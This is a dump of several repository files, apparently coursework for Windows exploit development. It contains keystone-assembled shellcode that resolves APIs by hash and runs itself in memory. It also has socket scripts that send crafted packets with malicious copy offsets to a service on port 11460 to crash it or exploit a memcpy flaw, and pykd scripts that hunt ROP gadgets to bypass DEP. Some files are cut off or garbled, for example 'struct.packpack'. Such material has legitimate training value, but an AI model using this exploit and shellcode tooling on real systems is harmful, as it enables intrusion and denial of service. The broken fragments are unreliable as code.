CreateProcessA hash 92 | " call dword ptr [ebp+0x04] ;" # Call find_function 93 | " mov [ebp+0x18], eax ;" # Save CreateProcessA address for later usage 94 | 95 | " load_ws2_32: " # 96 | " xor eax, eax ;" # Null EAX 97 | " mov ax, 0x6c6c ;" # Move the end of the string in AX 98 | " push eax ;" # Push EAX on the stack with string NULL terminator 99 | " push 0x642e3233 ;" # Push part of the string on the stack 100 | " push 0x5f327377 ;" # Push another part of the string on the stack 101 | " push esp ;" # Push ESP to have a pointer to the string 102 | " call dword ptr [ebp+0x14] ;" # Call LoadLibraryA 103 | 104 | " resolve_symbols_ws2_32: " 105 | " mov ebx, eax ;" # Move the base address of ws2_32.dll to EBX 106 | " push 0x3bfcedcb ;" # WSAStartup hash 107 | " call dword ptr [ebp+0x04] ;" # Call find_function 108 | " mov [ebp+0x1C], eax ;" # Save WSAStartup address for later usage 109 | 110 | " exec_shellcode: " # 111 | " xor ecx, ecx ;" # Null ECX 112 | " push ecx ;" # uExitCode 113 | " push 0xffffffff ;" # hProcess 114 | " call dword ptr [ebp+0x10] ;" # Call TerminateProcess 115 | ) 116 | 117 | # Initialize engine in X86-32bit mode 118 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 119 | 120 | try: 121 | encoding, count = ks.asm(CODE) 122 | except keystone.KsError as e: 123 | print(e) 124 | print(type(e)) 125 | print("Faulty Line: " + str(e.get_asm_count())) 126 | exit(0) 127 | 128 | print("Encoded %d instructions..." % count) 129 | 130 | sh = b"" 131 | for e in encoding: 132 | sh += struct.pack("B", e) 133 | shellcode = bytearray(sh) 134 | 135 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 136 | ctypes.c_int(len(shellcode)), 137 | ctypes.c_int(0x3000), 138 | ctypes.c_int(0x40)) 139 | 140 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 141 | 142 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 143 | buf, 144 | ctypes.c_int(len(shellcode))) 145 | 146 | print("Shellcode located at address %s" % hex(ptr)) 147 | input("...ENTER TO EXECUTE SHELLCODE...") 148 | 149 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 150 | ctypes.c_int(0), 151 | ctypes.c_int(ptr), 152 | ctypes.c_int(0), 153 | ctypes.c_int(0), 154 | ctypes.pointer(ctypes.c_int(0))) 155 | 156 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) -------------------------------------------------------------------------------- /4_shellcode/9_wsa_startup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ctypes, struct 4 | from keystone import * 5 | 6 | CODE = ( 7 | " start: " # 8 | " int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!! 9 | " mov ebp, esp ;" # 10 | " add esp, 0xfffff9f0 ;" # Avoid NULL bytes for sub esp, 0x200. 11 | 12 | " find_kernel32: " # 13 | " xor ecx, ecx ;" # ECX = 0 14 | " mov esi,fs:[ecx+30h] ;" # ESI = &(PEB) ([FS:0x30]) 15 | " mov esi,[esi+0Ch] ;" # ESI = PEB->Ldr 16 | " mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder 17 | 18 | " next_module: " # 19 | " mov ebx, [esi+8h] ;" # EBX = InInitOrder[X].base_address 20 | " mov edi, [esi+20h] ;" # EDI = InInitOrder[X].module_name 21 | " mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next) 22 | " cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00? 23 | " jne next_module ;" # No: try next module. 24 | 25 | " find_function_shorten: " # 26 | " jmp find_function_shorten_bnc ;" # Short jump 27 | 28 | " find_function_ret: " # 29 | " pop esi ;" # POP the return address from the stack 30 | " mov [ebp+0x04], esi ;" # Save find_function address for later usage 31 | " jmp resolve_symbols_kernel32 ;" # 32 | 33 | " find_function_shorten_bnc: " # 34 | " call find_function_ret ;" # Relative CALL with negative offset 35 | 36 | " find_function: " # 37 | " pushad ;" # Save all registers 38 | " mov eax, [ebx+0x3c] ;" # Offset to PE Signature 39 | " mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA 40 | " add edi, ebx ;" # Export Table Directory VMA 41 | " mov ecx, [edi+0x18] ;" # NumberOfNames 42 | " mov eax, [edi+0x20] ;" # AddressOfNames RVA 43 | " add eax, ebx ;" # AddressOfNames VMA 44 | " mov [ebp-4], eax ;" # Save AddressOfNames VMA for later 45 | 46 | " find_function_loop: " # 47 | " jecxz find_function_finished ;" # Jump to the end if ECX is 0 48 | " dec ecx ;" # Decrement our names counter 49 | " mov eax, [ebp-4] ;" # Restore AddressOfNames VMA 50 | " mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name 51 | " add esi, ebx ;" # Set ESI to the VMA of the current symbol name 52 | 53 | " compute_hash: " # 54 | " xor eax, eax ;" # NULL EAX 55 | " cdq ;" # NULL EDX 56 | " cld ;" # Clear direction 57 | 58 | " compute_hash_again: " # 59 | " lodsb ;" # Load the next byte from esi into al 60 | " test al, al ;" # Check for NULL terminator 61 | " jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term 62 | " ror edx, 0x0d ;" # Rotate edx 13 bits to the right 63 | " add edx, eax ;" # Add the new byte to the accumulator 64 | " jmp compute_hash_again ;" # Next iteration 65 | 66 | " compute_hash_finished: " # 67 | 68 | " find_function_compare: " # 69 | " cmp edx, [esp+0x24] ;" # Compare the computed hash with the requested hash 70 | " jnz find_function_loop ;" # If it doesn't match go back to find_function_loop 71 | " mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA 72 | " add edx, ebx ;" # AddressOfNameOrdinals VMA 73 | " mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal 74 | " mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA 75 | " add edx, ebx ;" # AddressOfFunctions VMA 76 | " mov eax, [edx+4*ecx] ;" # Get the function RVA 77 | " add eax, ebx ;" # Get the function VMA 78 | " mov [esp+0x1c], eax ;" # Overwrite stack version of eax from pushad 79 | 80 | " find_function_finished: " # 81 | " popad ;" # Restore registers 82 | " ret ;" # 83 | 84 | " resolve_symbols_kernel32: " 85 | " push 0x78b5b983 ;" # TerminateProcess hash 86 | " call dword ptr [ebp+0x04] ;" # Call find_function 87 | " mov [ebp+0x10], eax ;" # Save TerminateProcess address for later usage 88 | " push 0xec0e4e8e ;" # LoadLibraryA hash 89 | " call dword ptr [ebp+0x04] ;" # Call find_function 90 | " mov [ebp+0x14], eax ;" # Save LoadLibraryA address for later usage 91 | " push 0x16b3fe72 ;" # CreateProcessA hash 92 | " call dword ptr [ebp+0x04] ;" # Call find_function 93 | " mov [ebp+0x18], eax ;" # Save CreateProcessA address for later usage 94 | 95 | " load_ws2_32: " # 96 | " xor eax, eax ;" # Null EAX 97 | " mov ax, 0x6c6c ;" # Move the end of the string in AX 98 | " push eax ;" # Push EAX on the stack with string NULL terminator 99 | " push 0x642e3233 ;" # Push part of the string on the stack 100 | " push 0x5f327377 ;" # Push another part of the string on the stack 101 | " push esp ;" # Push ESP to have a pointer to the string 102 | " call dword ptr [ebp+0x14] ;" # Call LoadLibraryA 103 | 104 | " resolve_symbols_ws2_32: " 105 | " mov ebx, eax ;" # Move the base address of ws2_32.dll to EBX 106 | " push 0x3bfcedcb ;" # WSAStartup hash 107 | " call dword ptr [ebp+0x04] ;" # Call find_function 108 | " mov [ebp+0x1C], eax ;" # Save WSAStartup address for later usage 109 | 110 | " call_wsastartup: " # 111 | " mov eax, esp ;" # Move ESP to EAX 112 | " mov cx, 0x590 ;" # Move 0x590 to CX 113 | " sub eax, ecx ;" # Subtract CX from EAX to avoid overwriting the structure later 114 | " push eax ;" # Push lpWSAData 115 | " xor eax, eax ;" # Null EAX 116 | " mov ax, 0x0202 ;" # Move version to AX 117 | " push eax ;" # Push wVersionRequired 118 | " call dword ptr [ebp+0x1C] ;" # Call WSAStartup 119 | 120 | " exec_shellcode: " # 121 | " xor ecx, ecx ;" # Null ECX 122 | " push ecx ;" # uExitCode 123 | " push 0xffffffff ;" # hProcess 124 | " call dword ptr [ebp+0x10] ;" # Call TerminateProcess 125 | ) 126 | 127 | # Initialize engine in X86-32bit mode 128 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 129 | 130 | try: 131 | encoding, count = ks.asm(CODE) 132 | except keystone.KsError as e: 133 | print(e) 134 | print(type(e)) 135 | print("Faulty Line: " + str(e.get_asm_count())) 136 | exit(0) 137 | 138 | print("Encoded %d instructions..." % count) 139 | 140 | sh = b"" 141 | for e in encoding: 142 | sh += struct.pack("B", e) 143 | shellcode = bytearray(sh) 144 | 145 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 146 | ctypes.c_int(len(shellcode)), 147 | ctypes.c_int(0x3000), 148 | ctypes.c_int(0x40)) 149 | 150 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 151 | 152 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 153 | buf, 154 | ctypes.c_int(len(shellcode))) 155 | 156 | print("Shellcode located at address %s" % hex(ptr)) 157 | input("...ENTER TO EXECUTE SHELLCODE...") 158 | 159 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 160 | ctypes.c_int(0), 161 | ctypes.c_int(ptr), 162 | ctypes.c_int(0), 163 | ctypes.c_int(0), 164 | ctypes.pointer(ctypes.c_int(0))) 165 | 166 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) -------------------------------------------------------------------------------- /5_reverse_engineering/1_send_data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | 6 | buf = bytearray([0x41] * 100) 7 | 8 | 9 | def main(): 10 | if len(sys.argv) != 2: 11 | server = "192.168.185.10" 12 | else: 13 | server = sys.argv[1] 14 | 15 | port = 11460 16 | 17 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 | s.connect((server, port)) 19 | 20 | s.send(buf) 21 | s.close() 22 | 23 | print("[+] Packet sent") 24 | sys.exit(0) 25 | 26 | 27 | if __name__ == "__main__": 28 | main() 29 | -------------------------------------------------------------------------------- /5_reverse_engineering/2_update_header.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import struct 6 | 7 | buf = struct.pack(">i", 0x1234) 8 | buf += bytearray([0x41] * 100) 9 | 10 | def main(): 11 | if len(sys.argv) != 2: 12 | server = "192.168.185.10" 13 | else: 14 | server = sys.argv[1] 15 | 16 | port = 11460 17 | 18 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | s.connect((server, port)) 20 | 21 | s.send(buf) 22 | s.close() 23 | 24 | print("[+] Packet sent") 25 | sys.exit(0) 26 | 27 | 28 | if __name__ == "__main__": 29 | main() 30 | -------------------------------------------------------------------------------- /5_reverse_engineering/3_refined_header.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import struct 6 | 7 | # 0x00 - 0x04: Checksum DWORD (Data size, big endian). 8 | # 0x04 - 0x34: psAgentCommand 9 | # 0x34 - End: psCommandBuffer 10 | 11 | buf = struct.pack(">i", 0x64) 12 | buf += bytearray([0x41] * 0x64) 13 | 14 | 15 | def main(): 16 | if len(sys.argv) != 2: 17 | server = "192.168.185.10" 18 | else: 19 | server = sys.argv[1] 20 | 21 | port = 11460 22 | 23 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 24 | s.connect((server, port)) 25 | 26 | s.send(buf) 27 | s.close() 28 | 29 | print("[+] Packet sent") 30 | sys.exit(0) 31 | 32 | 33 | if __name__ == "__main__": 34 | main() 35 | -------------------------------------------------------------------------------- /5_reverse_engineering/4_agent_command.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import struct 6 | 7 | # 0x00 - 0x04: Checksum DWORD (Data size, big endian). 8 | # 0x04 - 0x34: psAgentCommand 9 | # - 0x14: Offset for 1st copy operation 10 | # - 0x18: Size of 1st copy operation 11 | # - 0x1C: Offset for 2nd copy operation 12 | # - 0x20: Size of 2nd copy operation 13 | # - 0x24: Offset for 3rd copy operation 14 | # - 0x28: Size of 3rd copy operation 15 | # 0x34 - End: psCommandBuffer 16 | 17 | # struct PACKET { 18 | # int32 data_size; 19 | # int8 agent_command[0x30]; 20 | # int8 command_buffer[???]; } 21 | 22 | payload_size = 0x64 # Total size of payload not including checksum. 23 | agent_command_size = 0x30 # Size of the agent command portion. 24 | command_buffer_size = payload_size - agent_command_size # Size of the command buffer. 25 | 26 | buf = struct.pack(">i", payload_size) 27 | buf += bytearray([0x41]*agent_command_size) 28 | buf += bytearray([0x42]*command_buffer_size) 29 | 30 | 31 | def main(): 32 | if len(sys.argv) != 2: 33 | server = "192.168.185.10" 34 | else: 35 | server = sys.argv[1] 36 | 37 | port = 11460 38 | 39 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | s.connect((server, port)) 41 | 42 | s.send(buf) 43 | s.close() 44 | 45 | print("[+] Packet sent") 46 | sys.exit(0) 47 | 48 | 49 | if __name__ == "__main__": 50 | main() 51 | -------------------------------------------------------------------------------- /5_reverse_engineering/5_denial_of_service.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import struct 6 | 7 | # 0x00 - 0x04: Checksum DWORD (Data size, big endian). 8 | # 0x04 - 0x34: psAgentCommand 9 | # - 0x14: Offset for 1st copy operation 10 | # - 0x18: Size of 1st copy operation 11 | # - 0x1C: Offset for 2nd copy operation 12 | # - 0x20: Size of 2nd copy operation 13 | # - 0x24: Offset for 3rd copy operation 14 | # - 0x28: Size of 3rd copy operation 15 | # 0x34 - End: psCommandBuffer 16 | 17 | # struct PACKET { 18 | # int32 data_size; 19 | # int8 agent_command[0x30]; 20 | # int8 command_buffer[???]; } 21 | 22 | payload_size = 0x64 # Total size of payload not including checksum. 23 | agent_command_size = 0x30 # Size of the agent command portion. 24 | command_buffer_size = payload_size - agent_command_size # Size of the command buffer. 25 | 26 | agent_command_buffer = b"A" * 0x10 27 | agent_command_buffer += b"\x44\x61\x36\xf8" # offset first copy. Large negative value. 28 | agent_command_buffer += b"\xA7\x61\x00\x00" # size of first copy 29 | agent_command_buffer += b"\xA7\x61\x00\x00" # offset for second copy 30 | agent_command_buffer += b"\xA7\x61\x00\x00" # size of second copy 31 | agent_command_buffer += b"\xA7\x61\x00\x00" # offset of third copy 32 | agent_command_buffer += b"\xA7\x61\x00\x00" # size of third copy 33 | agent_command_buffer += b"A" * (agent_command_size - len(agent_command_buffer)) 34 | 35 | print(len(agent_command_buffer)) 36 | 37 | buf = struct.pack(">i", payload_size) 38 | buf += agent_command_buffer 39 | buf += bytearray([0x42]*command_buffer_size) 40 | 41 | print(len(buf)) 42 | 43 | 44 | def main(): 45 | if len(sys.argv) != 2: 46 | server = "192.168.185.10" 47 | else: 48 | server = sys.argv[1] 49 | 50 | port = 11460 51 | 52 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 53 | s.connect((server, port)) 54 | 55 | s.send(buf) 56 | s.close() 57 | 58 | print("[+] Packet sent") 59 | sys.exit(0) 60 | 61 | 62 | if __name__ == "__main__": 63 | main() 64 | -------------------------------------------------------------------------------- /5_reverse_engineering/6_memcpy_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import struct 6 | 7 | # 0x00 - 0x04: Checksum DWORD (Data size, big endian). 8 | # 0x04 - 0x34: psAgentCommand 9 | # - 0x14: Offset for 1st copy operation 10 | # - 0x18: Size of 1st copy operation 11 | # - 0x1C: Offset for 2nd copy operation 12 | # - 0x20: Size of 2nd copy operation 13 | # - 0x24: Offset for 3rd copy operation 14 | # - 0x28: Size of 3rd copy operation 15 | # 0x34 - End: psCommandBuffer 16 | 17 | # struct PACKET { 18 | # int32 data_size; 19 | # struct psAgentCommand { 20 | # int8 data[0x10]; 21 | # int32 copy_a_offset; 22 | # int32 copy_a_size; 23 | # int32 copy_b_offset; 24 | # int32 copy_b_size; 25 | # int32 copy_c_offset; 26 | # int32 copy_c_size; 27 | # int8 more_data[0x08]; 28 | # } 29 | # int8 psCommandBuffer[???]; 30 | # } 31 | 32 | # Checksum 33 | buf = struct.pack(">i", 0x630) 34 | # psAgentCommand 35 | buf += bytearray([0x41]*0x10) 36 | buf += struct.pack("i", 0x2330) 34 | # psAgentCommand 35 | buf += bytearray([0x41]*0x10) 36 | buf += struct.pack(" 0x30: Not used 16 | # 0x34 - End: psCommandBuffer 17 | # - 0x34 + offset1 -> 0x34 + offset1 + size1: 1st buffer 18 | # - 0x34 + offset2 -> 0x34 + offset2 + size2: 2nd buffer 19 | # - 0x34 + offset3 -> 0x34 + offset3 + size3: 3rd buffer 20 | 21 | # struct PACKET { 22 | # int32 data_size; 23 | # struct psAgentCommand { 24 | # int8 data[0x10]; 25 | # int32 copy_a_offset; 26 | # int32 copy_a_size; 27 | # int32 copy_b_offset; 28 | # int32 copy_b_size; 29 | # int32 copy_c_offset; 30 | # int32 copy_c_size; 31 | # int8 more_data[0x08]; 32 | # } 33 | # int8 psCommandBuffer[???]; 34 | # } 35 | 36 | # Checksum 37 | buf = struct.pack(">i", 0x630) 38 | # psAgentCommand 39 | buf += bytearray([0x41]*0x10) 40 | buf += struct.packpack(" 0x30: Not used 16 | # 0x34 - End: psCommandBuffer 17 | # - 0x34 + offset1 -> 0x34 + offset1 + size1: 1st buffer 18 | # - 0x34 + offset2 -> 0x34 + offset2 + size2: 2nd buffer 19 | # - 0x34 + offset3 -> 0x34 + offset3 + size3: 3rd buffer 20 | 21 | # struct PACKET { 22 | # int32 data_size; 23 | # struct psAgentCommand { 24 | # int8 data[0x10]; 25 | # int32 copy_a_offset; 26 | # int32 copy_a_size; 27 | # int32 copy_b_offset; 28 | # int32 copy_b_size; 29 | # int32 copy_c_offset; 30 | # int32 copy_c_size; 31 | # int8 more_data[0x08]; 32 | # } 33 | # int8 psCommandBuffer[???]; 34 | # } 35 | 36 | # psAgentCommand 37 | buf = bytearray([0x41]*0xC) 38 | buf += struct.pack("i", len(buf)-4) + buf 54 | 55 | 56 | def main(): 57 | if len(sys.argv) != 2: 58 | server = "192.168.185.10" 59 | else: 60 | server = sys.argv[1] 61 | 62 | port = 11460 63 | 64 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 65 | s.connect((server, port)) 66 | 67 | s.send(buf) 68 | s.close() 69 | 70 | print("[+] Packet sent") 71 | sys.exit(0) 72 | 73 | 74 | if __name__ == "__main__": 75 | main() 76 | -------------------------------------------------------------------------------- /6_dep_bypass/1_hello_world.py: -------------------------------------------------------------------------------- 1 | from pykd import * 2 | 3 | dprintln("Hello World!") 4 | -------------------------------------------------------------------------------- /6_dep_bypass/2_memory_pages.py: -------------------------------------------------------------------------------- 1 | from pykd import * 2 | import sys 3 | 4 | PAGE_SIZE = 0x1000 5 | 6 | if __name__ == '__main__': 7 | count = 0 8 | try: 9 | modname = sys.argv[1].strip() 10 | except IndexError: 11 | print("Syntax: %s modulename" % sys.argv[0]) 12 | sys.exit() 13 | 14 | mod = module(modname) 15 | 16 | if mod: 17 | pn = int((mod.end() - mod.begin()) / PAGE_SIZE) 18 | print("Total Memory Pages: %d" % pn) 19 | -------------------------------------------------------------------------------- /6_dep_bypass/3_executable_memory_pages.py: -------------------------------------------------------------------------------- 1 | from pykd import * 2 | import sys 3 | 4 | PAGE_SIZE = 0x1000 5 | 6 | MEM_ACCESS_EXE = { 7 | 0x10: "PAGE_EXECUTE", 8 | 0x20: "PAGE_EXECUTE_READ", 9 | 0x40: "PAGE_EXECUTE_READWRITE", 10 | 0x80: "PAGE_EXECUTE_WRITECOPY", 11 | } 12 | 13 | 14 | def isPageExec(address): 15 | try: 16 | protect = getVaProtect(address) 17 | except: 18 | protect = 0x1 19 | if protect in MEM_ACCESS_EXE.keys(): 20 | return True 21 | else: 22 | return False 23 | 24 | 25 | if __name__ == '__main__': 26 | count = 0 27 | try: 28 | modname = sys.argv[1].strip() 29 | except IndexError: 30 | print("Syntax: %s modulename" % sys.argv[0]) 31 | sys.exit() 32 | 33 | mod = module(modname) 34 | pages = [] 35 | 36 | if mod: 37 | pn = int((mod.end() - mod.begin()) / PAGE_SIZE) 38 | print("Total Memory Pages: %d" % pn) 39 | 40 | for i in range(0, pn): 41 | page = mod.begin() + i * PAGE_SIZE 42 | if isPageExec(page): 43 | pages.append(page) 44 | print("Executable Memory Pages: %d" % len(pages)) 45 | -------------------------------------------------------------------------------- /6_dep_bypass/4_find_ret.py: -------------------------------------------------------------------------------- 1 | from pykd import * 2 | import sys 3 | 4 | PAGE_SIZE = 0x1000 5 | 6 | MEM_ACCESS_EXE = { 7 | 0x10: "PAGE_EXECUTE", 8 | 0x20: "PAGE_EXECUTE_READ", 9 | 0x40: "PAGE_EXECUTE_READWRITE", 10 | 0x80: "PAGE_EXECUTE_WRITECOPY", 11 | } 12 | 13 | 14 | def isPageExec(address): 15 | try: 16 | protect = getVaProtect(address) 17 | except: 18 | protect = 0x1 19 | if protect in MEM_ACCESS_EXE.keys(): 20 | return True 21 | else: 22 | return False 23 | 24 | 25 | def findRetn(pages): 26 | retn = [] 27 | for page in pages: 28 | ptr = page 29 | while ptr < (page + PAGE_SIZE): 30 | b = loadSignBytes(ptr, 1)[0] & 0xff 31 | if b not in [0xc3, 0xc2]: 32 | ptr += 1 33 | continue 34 | else: 35 | retn.append(ptr) 36 | ptr += 1 37 | 38 | print("Found %d ret instructions" % len(retn)) 39 | return retn 40 | 41 | 42 | if __name__ == '__main__': 43 | count = 0 44 | try: 45 | modname = sys.argv[1].strip() 46 | except IndexError: 47 | print("Syntax: %s modulename" % sys.argv[0]) 48 | sys.exit() 49 | 50 | mod = module(modname) 51 | pages = [] 52 | 53 | if mod: 54 | pn = int((mod.end() - mod.begin()) / PAGE_SIZE) 55 | print("Total Memory Pages: %d" % pn) 56 | 57 | for i in range(0, pn): 58 | page = mod.begin() + i * PAGE_SIZE 59 | if isPageExec(page): 60 | pages.append(page) 61 | print("Executable Memory Pages: %d" % len(pages)) 62 | 63 | findRetn(pages) 64 | -------------------------------------------------------------------------------- /6_dep_bypass/5_find_gadgets.py: -------------------------------------------------------------------------------- 1 | from pykd import * 2 | import sys 3 | 4 | PAGE_SIZE = 0x1000 5 | 6 | MEM_ACCESS_EXE = { 7 | 0x10: "PAGE_EXECUTE", 8 | 0x20: "PAGE_EXECUTE_READ", 9 | 0x40: "PAGE_EXECUTE_READWRITE", 10 | 0x80: "PAGE_EXECUTE_WRITECOPY", 11 | } 12 | 13 | 14 | def isPageExec(address): 15 | try: 16 | protect = getVaProtect(address) 17 | except: 18 | protect = 0x1 19 | if protect in MEM_ACCESS_EXE.keys(): 20 | return True 21 | else: 22 | return False 23 | 24 | 25 | def findRetn(pages): 26 | retn = [] 27 | for page in pages: 28 | ptr = page 29 | while ptr < (page + PAGE_SIZE): 30 | b = loadSignBytes(ptr, 1)[0] & 0xff 31 | if b not in [0xc3, 0xc2]: 32 | ptr += 1 33 | continue 34 | else: 35 | retn.append(ptr) 36 | ptr += 1 37 | 38 | print("Found %d ret instructions" % len(retn)) 39 | return retn 40 | 41 | 42 | def getGadgets(addr): 43 | ptr = addr - 1 44 | dasm = disasm(ptr) 45 | gadget_size = dasm.length() 46 | print("Gadget size is: %x" % gadget_size) 47 | instr = dasm.instruction() 48 | print("Found instruction: %s" % instr) 49 | 50 | 51 | if __name__ == '__main__': 52 | count = 0 53 | try: 54 | modname = sys.argv[1].strip() 55 | except IndexError: 56 | print("Syntax: %s modulename" % sys.argv[0]) 57 | sys.exit() 58 | 59 | mod = module(modname) 60 | pages = [] 61 | 62 | if mod: 63 | pn = int((mod.end() - mod.begin()) / PAGE_SIZE) 64 | print("Total Memory Pages: %d" % pn) 65 | 66 | for i in range(0, pn): 67 | page = mod.begin() + i * PAGE_SIZE 68 | if isPageExec(page): 69 | pages.append(page) 70 | print("Executable Memory Pages: %d" % len(pages)) 71 | 72 | ret_addresses = findRetn(pages) 73 | for ret_address in ret_addresses: 74 | getGadgets(ret_address) 75 | break 76 | -------------------------------------------------------------------------------- /6_dep_bypass/6_ignore_bad.py: -------------------------------------------------------------------------------- 1 | from pykd import * 2 | import sys 3 | 4 | # To run: 5 | # .load pykd 6 | # !py 7 | 8 | PAGE_SIZE = 0x1000 9 | MAX_GADGET_SIZE = 8 10 | OUT_FILENAME = r"C:\Users\Offsec\Desktop\rop_gadgets.txt" 11 | if len(OUT_FILENAME) > 0: 12 | OUT_FILE = open(OUT_FILENAME, "w") 13 | else: 14 | OUT_FILE = sys.stdout 15 | 16 | 17 | 18 | # MEM_ACCESS = { 19 | # 0x1 : "PAGE_NOACCESS" , 20 | # 0x2 : "PAGE_READONLY" , 21 | # 0x4 : "PAGE_READWRITE" , 22 | # 0x8 : "PAGE_WRITECOPY" , 23 | # 0x10 : "PAGE_EXECUTE" , 24 | # 0x20 : "PAGE_EXECUTE_READ" , 25 | # 0x40 : "PAGE_EXECUTE_READWRITE" , 26 | # 0x80 : "PAGE_EXECUTE_WRITECOPY" , 27 | # 0x101 : "PAGE_NOACCESS PAGE_GUARD" , 28 | # 0x102 : "PAGE_READONLY PAGE_GUARD " , 29 | # 0x104 : "PAGE_READWRITE PAGE_GUARD" , 30 | # 0x108 : "PAGE_WRITECOPY PAGE_GUARD" , 31 | # 0x110 : "PAGE_EXECUTE PAGE_GUARD" , 32 | # 0x120 : "PAGE_EXECUTE_READ PAGE_GUARD" , 33 | # 0x140 : "PAGE_EXECUTE_READWRITE PAGE_GUARD" , 34 | # 0x180 : "PAGE_EXECUTE_WRITECOPY PAGE_GUARD" , 35 | # 0x301 : "PAGE_NOACCESS PAGE_GUARD PAGE_NOCACHE" , 36 | # 0x302 : "PAGE_READONLY PAGE_GUARD PAGE_NOCACHE" , 37 | # 0x304 : "PAGE_READWRITE PAGE_GUARD PAGE_NOCACHE" , 38 | # 0x308 : "PAGE_WRITECOPY PAGE_GUARD PAGE_NOCACHE" , 39 | # 0x310 : "PAGE_EXECUTE PAGE_GUARD PAGE_NOCACHE" , 40 | # 0x320 : "PAGE_EXECUTE_READ PAGE_GUARD PAGE_NOCACHE" , 41 | # 0x340 : "PAGE_EXECUTE_READWRITE PAGE_GUARD PAGE_NOCACHE" , 42 | # 0x380 : "PAGE_EXECUTE_WRITECOPY PAGE_GUARD PAGE_NOCACHE" , 43 | # 0x701 : "PAGE_NOACCESS PAGE_GUARD PAGE_NOCACHE PAGE_WRITECOMBINE" , 44 | # 0x702 : "PAGE_READONLY PAGE_GUARD PAGE_NOCACHE PAGE_WRITECOMBINE" , 45 | # 0x704 : "PAGE_READWRITE PAGE_GUARD PAGE_NOCACHE PAGE_WRITECOMBINE" , 46 | # 0x708 : "PAGE_WRITECOPY PAGE_GUARD PAGE_NOCACHE PAGE_WRITECOMBINE" , 47 | # 0x710 : "PAGE_EXECUTE PAGE_GUARD PAGE_NOCACHE PAGE_WRITECOMBINE" , 48 | # 0x720 : "PAGE_EXECUTE_READ PAGE_GUARD PAGE_NOCACHE PAGE_WRITECOMBINE" , 49 | # 0x740 : "PAGE_EXECUTE_READWRITE PAGE_GUARD PAGE_NOCACHE PAGE_WRITECOMBINE" , 50 | # 0x780 : "PAGE_EXECUTE_WRITECOPY PAGE_GUARD PAGE_NOCACHE PAGE_WRITECOMBINE" , 51 | # } 52 | 53 | MEM_ACCESS_EXE = { 54 | 0x10: "PAGE_EXECUTE", 55 | 0x20: "PAGE_EXECUTE_READ", 56 | 0x40: "PAGE_EXECUTE_READWRITE", 57 | 0x80: "PAGE_EXECUTE_WRITECOPY", 58 | } 59 | 60 | BAD = ["clts", "hlt", "lmsw", "ltr", "lgdt", "lidt", "lldt", "mov cr", "mov dr", 61 | "mov tr", "in ", "ins", "invlpg", "invd", "out", "outs", "cli", "sti" 62 | "popf", "pushf", "int", "iret", "iretd", 63 | "swapgs", "wbinvd", "call", 64 | "jmp", "leave", "ja", "jb", "jc", "je", "jr", "jg", "jl", "jn", "jo", 65 | "jp", "js", "jz", "lock", "enter", "wait", "???"] 66 | 67 | 68 | def isPageExec(address): 69 | try: 70 | protect = getVaProtect(address) 71 | except: 72 | protect = 0x1 73 | if protect in MEM_ACCESS_EXE.keys(): 74 | return True 75 | else: 76 | return False 77 | 78 | 79 | def findRetn(pages): 80 | retn = [] 81 | for page in pages: 82 | ptr = page 83 | while ptr < (page + PAGE_SIZE): 84 | b = loadSignBytes(ptr, 1)[0] & 0xff 85 | if b not in [0xc3, 0xc2]: 86 | ptr += 1 87 | continue 88 | else: 89 | retn.append(ptr) 90 | ptr += 1 91 | 92 | print("Found %d ret instructions" % len(retn)) 93 | return retn 94 | 95 | 96 | def getGadgets(addr): 97 | ptr = addr - 1 98 | dasm = disasm(ptr) 99 | gadget_size = dasm.length() 100 | print("Gadget size is: %x" % gadget_size) 101 | instr = dasm.instruction() 102 | print("Found instruction: %s" % instr) 103 | 104 | 105 | def disasmGadget(addr, mod, fp): 106 | """ 107 | Find gadgets. Start from a ret instruction and crawl back from 1 to 108 | MAX_GADGET_SIZE bytes. At each iteration disassemble instructions and 109 | make sure the result gadget has no invalid instruction and is still 110 | ending with a ret. 111 | @param addr: address of a ret instruction 112 | @param mod: module object from getModule 113 | @param fp: file object to log found gadgets 114 | @return: number of gadgets found starting from a specific address 115 | """ 116 | count = 0 117 | for i in range(1, MAX_GADGET_SIZE): 118 | gadget = [] 119 | ptr = addr - 